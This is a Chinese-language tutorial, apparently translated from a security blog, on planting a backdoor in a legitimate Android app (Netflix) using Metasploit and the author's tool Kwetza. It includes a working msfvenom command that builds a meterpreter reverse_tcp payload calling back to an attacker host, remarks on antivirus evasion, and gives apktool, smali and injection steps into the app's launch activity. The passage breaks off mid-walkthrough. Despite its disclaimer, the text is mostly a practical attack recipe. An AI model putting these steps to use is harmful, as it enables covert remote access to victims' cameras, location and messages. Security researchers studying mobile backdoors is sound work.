本文仅供安全学习、测试或信息安全教学用途,禁止非法使用
简介
这篇文章将会描述一种在Android可执行文件中种后门的方法。在接下来的动手操作部分,我将使用到开源工具Kwetza,没错作者就是我……
首先我会先介绍使用手工过程实现向现有Android应用植入后门的方式,其后我再介绍并讨论Kwetza是如何自动完成这些手工步骤的。
你可以通过Github repo找到Kwetza
案例:感染正常Android应用
我们想要感染一款正常的Android应用程序(APK),当用户执行了这款看似正常的Android应用,payload将允许攻击者远程访问受影响设备,如网络摄像头,位置信息,手机短信等等。当然还有一个大前提便是该应用程序的行为以及功能与正常的Android应用一致,不会引起用户的警觉。
Step 1:Payload
这部分十分简单,使用msfvenom就好。我们先来生成一个payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.211 LPORT=4444 R > beard.apk
现在这款Android应用便能够在目标设备上为我们提供一个meterpreter会话。对于移动版本杀毒产品,这款payload的表现如何呢?根据我们的分析,在41款杀毒产品中只有17款检测出beard.apk。额不是百分百的过杀软还是有些担心,这个payload并不是才出现并且也没有什么特殊之处。为何不是百分百的检测出,我也挺纳闷的。
Step 2:减负
对于这一步骤,如果我们着眼于beard.apk就会发现它有些臃肿,所以我们想通过一个单独的Java Class来完成这个重担。首先我将逆向beard.apk,并将所有函数都放进一个名为 AssistActivity.java的单独Java Class中。
如上图所示,beard.apk包含了多个文档,这些文档能让你的meterpreter玩的更精彩。然而我想把所有的东西都放到一个文件中,这样会更有意义一点。请注意该payload的Main activity通过调用Payload class的start方法,进而使用其他类文件。我们将这些其他类文件的功能重构到AssistActivity文件。
Step 3: 监测目标
我们有一个单独的文件来代表我们payload了。接下来我们需要一个目标应用,我选择了Netflix。对于监测方面我希望在用户点击Netflix应用icon图标的那一刻payload就能够得到执行。如何实现呢?很简单,将目光看向AndroidManifest.xml文件,它将告诉我们在应用启动时都有哪些Activity(即Java class)会被执行。接着在mainfest中搜索“MAIN”和“LAUNCHER”属性,我们就能得知当系统执行应用时会用到的activity以及相关文件。
btw,为了到这一步,你需要对下载的Netflix APK执行以下命令进行反编译操作:
apktool d Netflix.apk
Step 4: 继承
Okay,我们有两个被标记为可执行的文件
com.netflix.mediaclient.ui.launch.UIWebViewActivity
com.netflix.mediaclient.ui.launch.UIWebViewTabletActivity
没关系,根据进一步分析代码。我们发现这两个类都继承于一个父类,依次执行所有的启动代码等。
如上图所示,我们看到有两个入口点都是继承于“com.netflix.mediaclient.ui.launch.LaunchActivity”。这也意味着当Netflix执行时该activity是最后执行的,这就是我们的注入点。
Step 5: 优化
我们了解了在何处注入我们的恶意代码。现在就要利用Smali了,目前我们的payload是由两个Smali文件进行描述的,AssistActivity.smali以及我们使用Apktool反编译beard.apk时生成的AssistActivity$1.class。接下来将两个文件移动到com/netflix/mediaclient.ui/launch目录中。
现在我帮需要更新几个引用,比如包引用,以及使用了应用程序命名空间的对象引用。基本上对于AssistActivity的引用都应该是这样的:
Lcom/netflix/mediaclient/ui/launch/AssistActivity
而不是:
Lsensepost/kwetza/AssistActivity
我们需要确认两个Smali文件都应用了更改。
Step 6: 注入
至此目标目录中已经有我们的两个Smali文件,现在我们需要配置目标Activity(Netflix)来调用我们的代码。这就修改“com.netflix.mediaclient.ui.launch.LaunchActivity”来调用AssistActivity:
AssistActivity.doThis(this);
在Smali中:
invoke-static {p0}, Lcom/netflix/mediaclient/ui/launch/AssistActivity;->doThis(Landroid/content/Context;)V
在进一步讨论之前,我们要在目标activity中找一个地方注入我们的代码。要做到这点,我们需要分析LaunchActivity并且寻找onCreate方法。当关联对象实例化后,在这个方法中的所有代码都会被执行,在本例中为LaunchActivity。